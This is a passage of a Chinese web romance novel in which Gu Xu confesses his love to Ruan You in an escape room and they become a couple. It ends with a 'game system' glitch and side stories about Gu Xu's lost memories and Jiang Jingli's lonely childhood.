孟季雪犹豫着,还是摇摇头。阮柚正准备自己一个人去时,顾叙却走上前了几步。 她讶异:“哥哥?” 顾叙:“不是想去么,走吧。” “我自己一个人可以的。” 顾叙微微垂眼:“是不愿意我去么?” 不是! 她立马否认了。 她顾虑的只是他的身体。 顾叙却笑了一声,很轻很浅,“我没有你想的那么脆弱,阮柚。” 两人就这样坐上了过山车。 成玉远远地看着,脸色不怎么好。 孟季雪问:“阮柚是他的妹妹?”莫名地,她松了一口气。 成玉看了她一眼,嗯了一声,眼睛却抬了抬。他心情称不上好,也称不上差。只是有一股微妙的遗憾,遗憾为什么自己没办法去。 但他也说不清楚为什么。 过山车骤然抬起,逐渐凝速。湛蓝的天空在眼前无限放大,阮柚固定在座位中,灵魂却像解开了束缚,随惯性腾起,逆风而行。她不由有些淡淡的兴奋,眼睛不由落在顾叙那边,想要去分享这份难得的喜悦,可下一瞬就对上了视线。他仿佛一直在看着她,灰色的瞳孔静静映着自己,深邃且专注。须臾,他似乎对她说了什么,可阮柚并未听清,因为下一刻,过山车骤然攀至顶峰,几乎垂直一般急速往下落。 阮柚心脏忽地紧绷,失重感侵袭全身,再反应过来,已随人潮尖叫了起来。 刺激是真刺激,但此时的恐惧也是真的。 她浑身绷紧,紧紧握住扶手,冷风随之灌进喉腔。顾叙却不知道什么时候握紧了自己。少年手心温热,严丝合缝地包裹她,似乎想要给她些许安全感。 阮柚第一次尝试这样的项目,等到结束那刻,脸色也是苍白的。 她的心头狂跳不止,有没散去的恐惧,也有放空的迷茫。整个人过分的安静。顾叙有些担心,叫了几声她的名字。 阮柚如梦初醒。这才发觉人都快散了,自己还呆呆地坐在原处。 手,还紧紧握着他。几乎十指相扣。 阮柚眼皮跳了跳,很快松开。 顾叙发觉后,眼神暗了几许。但转瞬间,阮柚的声音响起,“没事,我们走吧。” 阮柚一直说自己没事。但她脸色算不上好,自然没什么信服力。 成玉:“我都说了,过山车那么高,你这小身板受不了的。” 阮柚有点不服气:“我哪里受不了了!” 相反,她玩的真的挺痛快的。她从未有过这样的体验,几乎能忘记一切,只有她自己。 她不后悔。 绕来绕去,两人拌起了嘴。 顾叙走在身后,听着两人来回的对话,神情异常的平静。 而无声里,手指却紧抓住了矿泉水瓶,直到溢出冷水,才慢一拍发觉。 孟季雪看见后,给他纸。顾叙淡淡拒绝了,从兜里掏出纸巾,低头擦起来。 孟季雪嘟了嘟唇,眼底闪过一丝幽怨。她在家也是被千娇百宠、在学校也是风云人物,何曾被这么忽视过。顾叙自始至终都是礼貌疏离的态度,就好像拿她当透明人一般。关键是,她一点办法也没有。 孟季雪有点生气了。刚好她也累了,于是提议去吃饭。 选中的是附近的主题西餐厅。阮柚不怎么饿,也没有胃口,吃了几口就放下了叉子。成玉见状问,“不合胃口吗,要不要重新点一份。” 阮柚摇头,“我不太饿。” 孟季雪沉默了一会。忍不住问,“你们是怎么认识的呀。” 这么体贴,顾叙什么时候能这样?她连想象都想象不到。 顾叙虽说性格温柔,但说到底是个外冷内热的性子。孟季雪越想越觉得遥遥无期,想着回家和家人商量商量,干脆取消婚约得了,但越想越不甘心。顾叙这么完美一人,和他在一起多有面子啊。 旋即,她托腮望向阮柚。 “阮柚,你们是怎么在一起的啊。” 这一问,把在场的人似乎都问懵了。周遭安静了几许,阮柚手指摩梭杯子,觉察几道视线齐齐看过来,几乎如芒刺背。她不知道该怎么说,这时候也不是袒露真相好时候,正当她沉默时,成玉靠了靠椅背,慢悠悠接话了。 “这要多亏顾叙了。” 闻言。 顾叙抬眸看过来,视线灼灼如有实质,好似酝酿着晦涩不明的情绪。 第97章 第九十七章 …… 顾叙沉默。 他神色未改, 甚至连眼睛都未曾眨动一下,任谁也瞧不出情绪有什么波动,整个人无比的沉静。 可只有他自己知道, 心脏在无序的跳动,神经也仿佛被人疯狂的扯动。痛感也在肆虐席卷,仿若一不留神, 就要拖拽他至冰冷无尽的深潭。 他抬头看着, 喉咙发痒,蔓出淡淡的腥甜。 是牛排不太熟么? 他有些想吐。 隔了两秒, 顾叙放下了刀叉,嗯了一声。 是个翘起的音调,似有几分不解。 他不解成玉为什么要这么问。 可内心深处,他竟滋长出微妙的恶意来。他想要毁掉这一切, 甚至是他们之间的关系。 而这个念头令他感到害怕。 顾序眼眸微垂,藏住晦涩情绪。 桌下, 阮柚用膝盖碰了碰成玉。 她想让他转移这个话题, 毕竟, 一个谎要用无数的谎言来圆。可成玉并不这么觉得, 他甚至爱上了演这出戏。他很久没有碰见这么有意思的事情了。 “如果不是他, 我怎么会认识你呢。所以,顾叙是我们之间的牵线人啊。” 成玉喝了一口果汁,冰的, 沁入心肺, 令他更清醒, 也愈发兴味。 “你说对吧,阮柚。” 阮柚睫毛闪烁了几分,还未说话, 对面的顾叙开口,“当不起。我什么也没做。” 成玉:“但我还是要谢谢你。” 顾叙薄唇抿紧。日光于窗边侧落,半明半暗模糊了在少年的轮廓,让阮柚一时看不清他。 她只觉得他们虽然相隔一桌,却仿若隔着很长的一段距离。 阮柚心中升起一丝朦胧的怅然,仿佛有什么彻底的变质了。转瞬即逝,她抓不住、也摸不着。 这时,成玉放下了杯子,骨节分明的手指摩梭杯面,隔几秒问,“你会祝福我们的吧?” 阮柚闻言,呼吸一紧。 顾叙安静了下来。 他似乎在想什么,又似乎什么都没想。漆黑长睫缓慢落下淡淡的阴影,仿若蒙上了一层薄薄的雾气,任谁也瞧不出喜怒哀乐。 但他依旧是温和的,无论是神情,还是周身的气质,宽容一切、又仿若抽离于世俗,什么也不在乎。 正当阮柚渐渐松开绷紧的弦,以为等不来他的回答时,少年再度开口,语调轻缓,“如果你想要,我会的。” 他看着阮柚,平静而柔和,一如当初。 只是如今,他眉眼疏离而平和,再也没有曾经的亲近。 阮柚知道了。 她知道那份异样的感受来源何处了。他离自己越来越远了。而这是必然的,她没有办法阻止任何人的离开,包括顾叙。 但这一刻,她握紧杯子,吞咽下那几分酸涩,努力令自己保持正常,“谢谢。” 沉默,沉默。 不知谁忘了开口,自阮柚说完了那句谢谢,周遭一下子安静了好一会儿。 阮柚则喝了太多的水,提出去洗手间。 她一个人离开了。 洗手间只有她自己,阮柚望着镜子里的自己,竭力挤出一丝笑来。 但无论如何,笑容的肌肉走向都有些奇怪,笑得太假、连自己都看不下去了。 她只好打开了水龙头。忘了按加热按钮,水透骨的凉。 但她却觉得刚刚好。 她伸出了手,捧起冷水洗了把脸,冰冷透骨的水打湿了面容、浸透了睫毛,缕缕水流渗过睫毛流了下来。 阮柚静静看着镜子里的自己,一瞬间,以为自己流泪了。但怎么可能呢?她一点也不难过,也不是会无病呻吟的人。 顾叙祝福她,是为了她好。她该感谢才对,对她好的人不多了。 只是,心脏为什么这么酸胀呢? 就好像被什么挖空了似的。 阮柚想不明白,也没再接着想。 整理好情绪,阮柚用纸巾大概擦了擦,便出了门。 吃过了饭,几人想着去玩这里最火的密室。火的原因除了过于刺激、真实,还有那为人称道的代入感。玩家进入密室需要先打乱顺序抽签,选定角色进行扮演,边沉浸走剧情,边逃脱险境、躲避忽然出现的鬼怪。 阮柚对此说不出有多少兴趣。但她想要转移注意力,过分凝聚的肾上腺激素能令她忘记一些不愿意想起的事。今天密室没多少人,几人走进去时,工作人员很快安排了抽签环节。他们选中的是时下最热的古代本,灵异志怪、波诡云谲。成玉跃跃欲试,希望抽中什么开挂人设,可下一秒摊开手心,竟是一名普普通通的书生。 “啧。” 成玉不由得皱起了眉。 抽签结果陆陆续续出来了。 令阮柚意外的是,自己抽中的竟是恶人组之一的人物,画皮鬼。 这也就意味着,前面很长一段距离,都得自己一个人走。 但万事都有两面,这也意味着体验更多、更精彩,随机彩蛋也更丰富。很多二刷的人都是抱着想要抽到恶人组的念头,但这个几率不多,几乎百里挑一。 阮柚不知道该说自己幸运,还是不幸。 成玉:“你自己可以吗?” 阮柚安静点点头。过山车她都尝试了,自然也不会怕这个。 孟季雪抽中的是书生的新娘,而顾叙抽中的是除魔卫道的道士,负责保护她成亲路上不被阮柚扮演的画皮鬼捉走。 孟季雪有点遗憾,怎么不是顾叙呢? 不过也行,他保护自己,想想就有意思。、 顾叙则看向了阮柚,“不想玩就停下来,不要硬撑。” 阮柚眼睛闪烁,嗯了一声。 没说多余的话。 阮柚还是第一次玩这种沉浸式的游戏。 场面布景尤其逼真,以至于打开那扇紧闭的门,就仿若踏入另一个世界。 云雾缭绕、钟灵毓秀。踏入古色古香的装潢,阮柚听着仿若近在咫尺的潺潺流水声,眼睛被头顶红灯笼照得干净、柔和。 她一个人走在半明半暗的走廊,耳边有声音诉说着人物故事:画皮鬼本是尚书府的一名嫡女,蕙心兰质、容貌倾城。 一次上元节,花灯灼灼。偶遇初从边疆回城、意气风发的小将军,从此一见倾心,非卿不娶。小将军一心报国、无心情爱,但几番相处下来,终究动了凡心。两人约定终身,可一场战后,小将军竟然半点记不起她,对另一个女人百般爱护,还为了救她,听了道士谗言,生生剥走她的皮…… 她怎么能不恨,怎么能不怨。 看完这个故事,阮柚揉了揉眉心。 她没办法做出太多的评价。 但置身其中,阮柚却觉得画皮鬼有些可怜,毕竟恨一个人,尤其是恨曾经深爱过的人,无异于是对自己过去的颠覆,彻底的否决。 将军转生后,就是成玉扮演的角色了。 画皮鬼等了一世又一世,每一世,他都爱上了别人。 她恨,恨意令她扭曲。 她要毁掉他爱的所有人,让她知道真正的痛苦甚至会胜过死亡。 但这注定要落空了。 阮柚叹了一口气。 这时场景一换,四周雾蒙蒙的,有雨打荷叶的泠泠声。 恰在此刻,她发现了不远处的那扇木门。 阮柚不假思索,便是推门而入。 黑。 倘若没有墙壁上微弱的烛火,阮柚几乎辨不清方向。 她心莫名地紧绷起来,不敢松懈分毫,连脚本都是轻悄悄的,生怕踩中什么陷阱。正当自己走了一会、自认大惊小怪之时,忽地脚腕一凉,似乎有什么东西碰了自己一下。阮柚啊了一声,旋即就迈开步子跑,而下一刻那不明NPC便匍匐着追上,嘴里还细细簌簌念叨着不明话语,这令她不禁汗毛直竖,早就忘了自己的剧情,只想着逃跑。 她疯狂的奔走,不知何时来到了另一间处所。 为了防止对方追上,阮柚想了想,一咬牙就缩进了最里面的柜子里。 外面许久没有声音。 阮柚屏气凝神,心脏噗通噗通的跳。 但她总不能一直呆在这里,听着外面没什么动静,阮柚大着胆子开了一道缝。 可下一刻,脚步声远远地响起。 阮柚呼吸骤紧,飞速地合上上了柜子。 外面再度静悄悄地,仿若最初只是一场幻觉。 阮柚心下恐惧褪去,鼓起勇气再度开了道缝,可这时,柜门忽然被人从外面彻底打开。 阮柚心下一惊,差点快要喊出声。 而下一刻,熟悉的怪声再度出现,是之前那只鬼! 阮柚瞬间头大,还未彻底理清出所以然,那人嘘了一声,长臂一撑,便随之躲了进来。 柜门再度被合上。 衣柜狭窄闭塞,本就最多能容纳一到两个人。 那人一进来,两人几乎没剩下多余的空间。温热的呼吸绵密落下来,酝酿起令人无所适从的异样感。 外面的npc还在乱晃,里面的人也半点不敢动。阮柚心脏跳的不行。太静了、太黑了,她看不清她的面容,也不敢出声,只好用气音问,“成玉?” 想来,她最先碰见的人也该是他。 可对面人并未回应。他们靠的很近,近到甚至分不清是谁的气息,是谁的心跳。阮柚甚至能感受到他低头落在眼皮上的呼吸,缠绕眉目、描摹面颊,几乎不分彼此,极致交汇。 阮柚心重重地一跳,闷涩狭小的柜间,她看不清来人,去后知后觉自己似乎认错了人。可眼前人不是成玉,那只能是…… 她这才真正闻见那股熟悉的气息。比往日更浓、更热烈。因为他靠的太近了,近到呼吸交缠,近乎到了暧昧的程度。 阮柚一怔,“哥哥?” 顾叙眼皮动了动。 他呼吸间都是疼,仿若血淋淋地、如刀割般的疼。闭眼间都是白日里他们两人的相处,那么般配那么恩爱。 她甚至想要自己祝福他。 他的好妹妹,那双眼睛那么依赖、信任地看着他,他却只能看见其中映着的几乎无处遁形的卑劣、晦暗。 他不敢再看他。 可与此同时,他多么想要摇头,毁掉那一切,握住她的手、抱住她、亲吻她,甚至占有她。 那些念头如荒草疯长,终有天会将他燃烧。 可他多怕会不小心伤害到她。 他的爱并不光彩,甚至触不得阳光,可也正是如此,在这只有他和她的闷涩空间,在他听见她张口闭口期盼的都是另一个人的那一刻,他那禁在灵魂中的欲望,终泛滥成势、变得一发不可收拾。 手指触碰她的脸颊。 缓慢却珍重,小心翼翼,宛若用尽毕生温柔。 阮柚呼吸僵住,如果不是那熟悉的气息,她甚至开始怀疑眼前人不是顾叙。 脸颊又痒又烫,太热了。 细细密密的异样也油然而生,于肌肤无声的流连。 她想要抓住他的手指。 对方却先他一步,按住她的掌心,十指紧扣。 这时,顾叙终于出了声,“阮柚。” 她眼睫微闪,不自然地嗯了一声。正欲在说些什么,然下一刻,唇瓣忽地一热。 毫无征兆,少年吻住了她。 与先前的温柔不同,这个吻极具侵占、掠夺,似乎碾过她尽数的气息。阮柚大脑轰然炸开,瞬间空白一片,什么都想不起来。 空气变得稀薄,感官却在无限放大。 仿佛整个世界只剩下彼此,又不分彼此。 顾叙环住住她纤细的腰肢,吻着少女温软的唇瓣,眼睛却先落出泪来。 是热的,几滴落在她的脸颊,阮柚骤然惊醒,旋即找回呼吸,整个人几乎发软,心脏也跟着狂跳。 顾叙……刚刚吻了她? “阮柚。” 顾叙紧紧地抱住了她,心脏在剧痛,睫毛也浸上几分湿润。 有惶恐不安、也有无尽不舍,但更多的是泛滥成灾的爱意。他放出了心中的怪物,可那个怪物,却是真实的自己,他爱她,爱着阮柚,哪怕他不能爱她,哪怕她已有爱人。 可为什么,不能给他一个机会呢。 他多想要啊。 他愿意付出一切。 他牢牢抱住阮柚,潮热的气息落在她的脖颈,声线极轻,却仿若在拼命的挽留,生怕她从此彻底离他远去,头也不回的消失在自己的世界。他近乎祈求着、诉说着,“哥哥会做的比他更好,能不能不要爱他……” “我爱你。阮柚……我比任何人都爱你。” 第98章 第九十八章 - 那一刻, 阮柚只感觉不真实。她心脏跳的极快,一拍重过一拍,几乎盖过了所有, 令她情绪混乱不堪,像是缠成一团的线球。 顾叙说,他爱她。 不是好感, 不是喜欢, 是爱。 爱,多么沉重。阮柚从来不敢说, 可她却听到了。 是从顾叙嘴里亲口说出来的。他真的爱他,他吻了她。 她不知道该说一些什么,耳畔不知是谁的心跳,愈演愈烈, 时快时慢。 疯狂敲击耳膜,令她连呼吸都忘了, 更何况是开口言语。 少年那干净的松木气息裹住了她, 两人呼吸也在交融着, 好似紧扣缠绕, 从未有过的距离。 直到走出了密室, 阮柚的心还是飘的。 脑海只有几个字:顾叙,对她告白了。 返程的车上,车窗风景疾驰倒退。 成玉看她愣神, 忍不住戳了戳她脸颊, “喂, 你不会真的吓到了吧。” 阮柚眼睫飞速眨了眨。 像是想要证明自己没有,又像是想要掩饰什么,略微有些炸毛, “怎么可能。” 可炸毛归炸毛。这神情落在她脸上,倒显得愈发灵动可爱,半分攻击性也没有。 成玉唇瓣扯了扯,忍不住哼了声。 顾叙则递给她一颗糖,是柠檬味的。 “不酸,我尝过了。” 阮柚看了他一眼,耳根莫名发热,飞速的从顾叙手中拿回那颗糖。成玉奇怪地看了一眼。 回去以后,阮柚扑倒在柔软的床上。 一瞬,她脸颊深深陷在枕头,想放肆地喊出声,想要原地蹦起来。她知道自己是开心的,从未有过的开心。甚至怀疑此刻的真实性,顾叙说爱她,他对自己表白了。 可是最后,她还没来得及回应他。 阮柚瘫在床上,情绪此起彼伏,如同掉在了柔软的棉花糖里,整个人甜滋滋地,越品越甜。 宁糖还没有回来,她的喜悦无人分享。 只好一个人默默的对着天花板消化。 她想起那个吻。 耳根也比之前更热了。 房间寂静无声,直至一通电话打来。 阮柚看了眼备注,眼睛亮晶晶的。 是顾叙。 他在楼下。 傍晚十分,天空早早的暗了下来。 几颗星星嵌在夜空,愈发寥落无边。 路灯下,少年静静站在底下,身影颀长。 听见了脚步声。 顾叙眉心动了动,掀眼皮往那处看,看见了想见的人,眼睛浮起异样的光彩。 阮柚抿紧唇。 触碰上了视线的那刻。 两人竟同时躲开了眼睛、又同时重新对上。 顾叙却垂眼,眼底的光微微有些寂灭。 他想:她能下来见他,他已经很开心了。 他该做个知足的人。 那个吻,已经……足够了。 可阮柚却朝他越走越近。 少女身形纤细,皮肤白皙,漂亮的就像不属于这个世界。可越是这样,顾叙就越想握住她的手。他愿意丢掉一切、陪她去任何地方,只要她同意,只要她不松开手。 他定神望着她。 阮柚却抬头,开门见山地问,“哥哥,你之前说的,是真的吗?” 顾叙眼睫微动,浑身血液在流,有点令他说不出话。 可他还是点了点头,“嗯。” 他等待着她的审判。 可下一秒,阮柚忽然伸手抱住了他的腰。 少女身体软绵绵地,带着特有的馨香。 顾叙周身一僵,但意识尚未反应,双手已经回抱住了她。他闭了闭眼,喉咙有些干涩,嗓音也微微沙哑,“阮柚?” “我也是,我也爱你。” 阮柚呼了一口气,好似尘埃落定的感觉。 她早就不想藏着秘密面对他。 终于不再掩藏这个秘密,她终于可以将心事公开,她终于可以抱住他。 ——紧紧的,不松开。 顾叙一瞬怔愣。 他的呼吸很烫,从未有过的烫,内心也是从未有过的猛烈欢喜。 天在慢慢变黑。 可他的世界好像忽然亮了。 顾叙回抱住她。 他想,多希望时光能停留这一刻,停留在两人心灵碰撞、互诉爱意的时刻。 他一直认为,爱是稀缺品,却不是必需品。他可以接受父母没那么爱他,因为爱本身可遇不可求,但他却没办法失去阮柚的爱,因为从她说爱自己的那一刻,她的爱已经刻在他的灵魂里,与他共生共长,无法割舍。 只有她的爱,才是必需品。 他深知。他多幸运啊,能拥有他。 顾叙说,“谢谢。” 而谢什么? 谢谢你出现在我的生命,谢谢你愿意选择我,谢谢……你能让我爱你。 千言万语,汇聚成一个又一个珍重的吻。 顾叙低头亲吻着怀中的女孩,长睫垂了垂,几乎要再次流下眼泪来。 分别之前。 顾叙拉着阮柚的手,忽然想到了什么。 “乖,和他分手好不好?” 阮柚正晃着他的手玩,闻言眼睛微闪。 ———分手? 目光交汇。 她想到了和成玉演的那出戏。 心虚… 被他这么专注看着,更是心虚。 也出于这场心虚,在顾叙的提议下,阮柚硬着头皮给成玉打了通电话。 “分手?” “你真的舍得我啊。” 那头,成玉的声音漫不经心传了过来,带着刚睡醒的慵懒沙哑。 阮柚眼皮忽的一跳,想要挑明,而这时顾叙出了声,“她舍得。” 顾叙心想,既然阮柚说爱他,那她就不会爱成玉,或者说,她更爱自己。既然她更爱自己,那成玉必然要做那个出局的人。虽然,有违他一贯的原则,但,明明他才是最先遇到阮柚的人。 靠。 闻言,成玉整个人都精神了。 一下子从床上翻身下来。 得知两人在一起后,他哼了声,内心竟有些不爽。 是因为不能演戏了?没乐子了? 成玉也想不通。可回去,他就做了个梦。 / 这边两人分开,阮柚走了没多久,便听见有人在叫自己的名字。 有些陌生,有些冷,微磁。 “阮柚。” 闻言,阮柚步伐一顿,转过了身。 少年穿了个宽松的黑色帽衫,下颌轮廓流畅内收,一颗深色小痣落在了眼尾,气质清冷而独特。 她有些迟疑,很快,对上了名字。 她已经好久没见过江净理了。 印象里,他很讨厌自己,也不会用这样的眼神看她。 她微微有些疑惑。 阮柚不知道该说些什么,只好说,“你好?” 江净理却走近了几步,嗓音清冷,“你和他在一起了。” 语气笃定。 阮柚一怔,却点了点头。 江净理:“你不能和他在一起。” 阮柚恍惚,竟本能想起两人如今的关系,“为什么?” 他们,并没有血缘关系。 江净理掀开薄白的眼皮,视线有些空洞,却很深,就像是透过她,想看什么人一般。 这令阮柚感到几分怪异,下意识往后挪了几步,“那个,如果没什么事,我先回去了。” 她其实不好奇他的答案。反正他的答案也不重要。 可下一刻,江净理薄唇抿成线,忽地挡住她的脚步,“我呢,我怎么办。” 他笑,笑意却很轻很浅,稍纵即逝,只沉沉看着她,有无奈不甘,也有极致的眷恋,甚至还藏着几分微不可察的偏执来,他喉结微微滚动,“如果你和他在一起,我怎么办?” 他一次次循环,一次次等待,等来的只是她和旁人在一起。 她会选择顾叙、会真心对待成玉好。 可是,她一次都没有选中过他。 ——为什么? 是他不配,还是注定不能? 阮柚呼吸莫名地发紧。 她皱起眉头,瞥见对方那浓烈翻涌的情绪,整个人像是被烫了一下。可下一瞬,脑海却骤然生出一阵没由来的眩晕,令她几乎要站立不稳,视野也开始极致扭曲起来。 接着,一道声音震颤耳膜。 “警告,警告。游戏系统出现异常崩坏,请玩家及时退出游戏,请玩家及时退出游戏。” 第99章 第九十九篇 顾叙篇/番外*爱人 顾叙篇-番外(爱人) 心理医生接到一位奇怪的病人。 对方家世显赫、风光霁月, 各方面堪称完美,完美到几乎挑不出任何错误。 但这样的人,却有着严重的精神疾病。 他为此感到可惜。 对方声称, 自己忘了一个很重要的人。 可那人是谁,他无论如何都想不起来。 咖啡醇厚的苦香缓缓地上腾,热气没过下颌, 扫过了睫毛。 顾叙抬头, 语气平静:“我又梦见她了。” 心理医生脊背挺直,一如既往作倾听状。 可这次, 顾叙只是笑着摇了摇头,像是有些失神,单方面地结束了这场对话。 外面大雨倾盆。 八月的盛夏闷热似蒸笼,即使大雨淋漓, 也不见消减多少。 他却依旧穿着长袖,单调的黑, 像融入雨雾的松木。 顾叙有点疲倦地揉了揉眉心。 他静静地站在房檐下, 望着雨幕, 不知道在想些什么。 甚至说。 连他自己都不知道自己该想什么。 暮色已至, 外面亮起霓虹灯火, 被丝丝雨幕描摹模糊。 顾叙伸手去接,凉的。 这份突如其来的凉意,还他几分清醒—— 他再度想起那个光怪陆离的梦, 想起梦里那个女孩, 她微笑看来的模样。 看的是他么? 不是。 她看的是另一个人。 在梦里, 她陪伴那人长大,对他用尽真心,甚至最后为了救他, 献出自己的生命。 想起那满目的鲜红,顾叙胸口处忽然撕裂般的疼。一股从未有过的晦暗情绪膨胀而生,如潮湿雨水,于暗处阴郁发酵着。 他嫉妒、愤怒,心疼、痛苦。 ——他想要带她走,那是他的;如果是他,他不会让任何人伤害她。 可她是谁? 醒来后,顾叙捂着心口,眉眼沉静,却是久久的怅然。 他笃定自己忘掉了什么。 一定。 可他翻遍了所有的痕迹,问遍了身边所有的人,甚至执拗地走过每一个街角,得到的答案都是一个:那人并不存在。 顾叙,你只是病了。 只是病了。 她并不存在。 每当听见这句话,顾叙都会久久的沉默。 二十四岁。 他拿到最具含金量的奖项,达到旁人都无法企及的高度。 无数掌声、赞誉围绕着他,他站在领奖台前,垂眸望着乌泱泱的人群,忽然生出一股莫大的恐慌。 她呢? 她应该在。 顾叙大脑猛地剧痛,就像是某根神经被彻底割断般,铺天盖地的情绪淹没了自己。 他几乎找遍了整个会场,没有,没有,到处都没有。 从那天起。 顾叙就被家人强制接受心理治疗。 父母对他失望至极,巴掌狠狠地落在他脸上,火辣辣地,但他却感觉不到疼,深灰的眼珠转都没有转,只是静静地站在原地,一言不发。 从那天起,顾叙感觉他的世界开始混沌,甚至虚无飘渺、毫无意义,他一日又一日弹琴,音乐像酒精一般麻痹神经、也像是足够的镇痛剂,令他忘却一切,甚至自己。 可他仍是时常做一个梦,梦中的少女站在雨雾里,笑意吟吟,月光寂静洒在她的身上,落在头发、睫毛,还有那双纯粹柔和的眼睛。她就像忽然闯入这个世界一般,身形单薄几近透明,顾叙听见自己的心跳,砰、砰、砰,砸在心底,落入心头,他想要靠近她,可每当迈出第一步,她就消失了。 周而复始、循环往复。 直到有天,他发现自己再也梦不到她。他忽然笑,然后砸烂了自己房间里的每个东西,碎裂声、叫喊声,将他几乎扭曲变形。最后,他靠在墙壁,静静看着窗外的日落,眼底是一片空洞。这是他最后的失态。 从那以后。 顾叙像是恢复正常了。 他成为合格的继承人,管理家业、参会应酬,行事作风得体稳重、无可挑剔。 至于从前? 是梦吧。有人半开玩笑。 一年烟花节,夜晚亮如白昼。 他陪朋友走在街上,忽然间,听见身后有人甜甜地叫了一声。 “哥哥。” 他猛地定在了原地。 转过身,声音已经消失不见。 而他在原地站了好久、好久,朋友连声叫他三遍,他才堪堪寻回自己的意识。 哥哥。 哥哥。 记忆里,从未有人这么叫过他;但直觉告诉他,他似乎听过一遍又一遍,来自同一个人。 顾叙回家后,停在了钢琴前。他并未坐下,只是静静看了好久,分明白皙的手指停在黑白琴键,良久,仿若试探地按下第一个音。 再然后,一发不可收拾。 呼吸是热的,眼睛则是烫的。 顾叙似乎能感觉到周身血液的流动运转,它澎湃着、颤抖着,甚至宣誓着极致的喜悦——他弹了一首不属于自己的钢琴曲。 她是真实存在过的。 她真的选择过自己。 可她是谁,她到底是谁? 顾叙再度感觉出一股惶恐不安,他迫切的想要抓住什么,可又头痛欲裂,几乎将他撕裂成两半,几乎将现实与记忆分割。 他跌跌撞撞地走到桌边,想去找药,手却先一步抵达另一处。接着,是更尖锐的刺痛,可这份刺痛竟然令他产生一股病态的愉悦,他仿佛再一次掌控自己的身体、掌控自己的人生,甚至比之前更加清醒,耳边也仿若回响起那钢琴曲,拉扯着他往更深的梦中去。 “你叫什么?” “阮柚。” “嗯。” “我能叫你哥哥么?” “当然。” “我爱你。比任何人都会爱你。” “你相信吗?” 喉咙处涌起浓郁的甜腥,顾叙扯唇笑,笑得胸腔颤抖,眼睛也渐渐涌出眼泪来,极烫,烫的手背滋滋的烧疼。 他爱她,他多么爱她,可上天为什么要这么残忍的夺走她,抹去她的一切痕迹,甚至连这份记忆,都不愿意给他。 阮柚。 对不起,哥哥是个坏人。 他没用。 没有办法留住你、没有办法拥抱你、甚至还要忘记你。 他太差劲了。 长夜无边,顾叙就这样反复地想着,他哭了又笑,笑了又哭,仿若一个披着人皮的疯子、一个徘徊世界的鬼物。 爱欲早已滋长他的灵魂,侵蚀他的理智,成了他不可分割的一部分。 他不想忘、也不愿忘,他会无休止的找寻、等待,只要她能够再度出现在自己的生命里。 可次日醒来。 地面只剩一片狼藉。他的心空荡荡的、像是生生被挖去一角。 不疼,却如行尸走肉般的空洞。 顾叙站起身,眼皮都没有眨动一下。 他沉默地出门,走了很久很久,最后来到城市的边缘地带。 雨后的空气翻涌泥腥,就这样扑面而来。 顾叙最后停在一颗古树前。 他仰头看了良久,从湛蓝无边的天际、从茂密繁盛的树梢,再到那熟悉又陌生的树木纹理。顾叙那样安静,安静的就像一道影子,就像一颗树。 他说:“我好像等不了那么久了。” 十年,太远了。 对不起,他食言了。 他弯下身,一点一点地挖出那个时间胶囊。 埋掉的回忆就这样出现在他的世界。 他欢喜、失笑,孤注一掷的结果是赌赢了,它真的存在,她也是。 可他知道,他再也找不到她了。 顾叙深深吸了一口气,心脏颤动,夹杂丝丝阵痛。 他的手指蜷着,停了很久才堪堪展开。 泛黄的纸页是少女娟秀有力的字体,上面写着一行字:“哥哥有一双漂亮的眼睛,如果可以,我希望它永远不会再掉眼泪。” 顾叙垂下眼皮,失笑一声,蓦地泪如雨下。 阮柚。 阮柚。 他念着那个名字,那个刻了一遍又一遍的名字,可飞鸟远去、树影拂动,目光所及,再也找不到她。 他终于记起了一切。 他的一生所爱。 他会等待她、念着她,用余下的时间寻找她,倘若寻不来此生,那便求一个来生,再次重逢的那天,他会保护她,永远陪伴他,让她再也不会感觉到孤独。 就像他曾经写的愿望那样,不再分离。 第100章 第一百章 江净理番外/循环 江净理番外篇-循环 很久以前, 有人就告诉江净理:爱是掠夺,是占有,是不择手段不计后果, 是藕断丝连、至死方休。 所以除了死别,没人能夺走你的爱人。 ——可是,她从没有爱过我。 她会自己离开, 在我看不到的地方。 / 江净理小时候, 因为下人的疏忽,一个人被关在黑漆漆的花房一整夜。 那一夜天空没有月亮, 屋内没有灯火,只有雷雨交加,暴雨侵袭。 撕裂的天空在他眼底扭曲变形,如传说中的鬼魅般张牙舞爪 , 将他小小的身影吞噬,他一个人瑟缩在了角落, 漆黑眼眸死寂如潭, 没有眼泪, 只有不属于自己年龄的悲悯。 对自己, 对自己的人生。 他说不清为什么会这样, 只觉得从那一夜,灵魂仿若被抽去了什么,那些柔软的渴望, 心翼翼的孺慕, 都消失的无影无踪。 他再也不期待任何人的爱。 他们总会离开, 甩开他手的动作,就像甩掉不值钱的垃圾一般顺手。 江净理明白了这一点。 讽刺之余,竟有些淡淡的悲哀。 许多人都羡慕他, 甚至仰望他。 是啊,他得天独厚,能力出众。生来就有尊贵的身份,显赫的家世,注定会受众人追捧,甚至是顶礼膜拜。 江净理知道这些,但他也知道,没人真的爱他。 年少时,他讽刺又恶劣地想:他不需要别人爱他。 但是既然没人爱他,那他们就得害怕他。 同时,他渐渐沉迷上了窥探人心,他发现人心真的很有意思,时而复杂、时而简单。他看到有人为了救助生病的家人丢掉自尊、百般恳切;也看见当他们得到一笔巨款后,染上赌博,对亲人拳打脚踢…… 人心易变。 鲜活与烂掉只是转瞬之间,江净理漠然地想,也再次证明自己的想法。 庄园里种着蔷薇,每逢盛季,浓墨重彩似油画。 他握着画笔,目光遥遥地放远,微风吹拂过他的发梢,也令他渐渐回神。江净理看着自己面前的画,只有轮廓,没有色彩。 他画蔷薇从不会上色,因为对他而言终会腐烂。 江净理如是想着。 直到,他遇见了一个人。 阮柚。 她的名字- 是怎么喜欢上她的呢。 江净理已经记不清了。 他甚至觉得,他从一开始就喜欢她。怎么可能不被吸引呢?那么鲜活、那么灵动。就像闯入森林的小鹿,连眼睛都同装着如温柔澄净的泉水。 白云苍狗、潮浪褪去。 那些爱意反而如同陈年酿酒,愈发的浓烈,愈发灼伤心肺。 江净理想起那山林雨夜,她向着自己走来的瞬间。 她那么干净、那么柔软,却想要保护自己,做自己的救世主。 他至今忘不了那一天,忘不了她伸向自己的手。 他深深地凝望着她,看她澄澈的眼睛,看她沾染雨雾的长睫,看她脖颈被树枝擦过的红痕,他忽然感到一股久违的刺痛感,一点点地泛滥成灾,侵占全身。 他想要细细吻她,想要紧紧拥抱她,想要将她护在怀里,挡去一切痛苦伤灾。 可当她眉眼弯弯、对上自己眼睛的那一刻,江净理忽地静下了心,那一刻,他只想让她爱她。 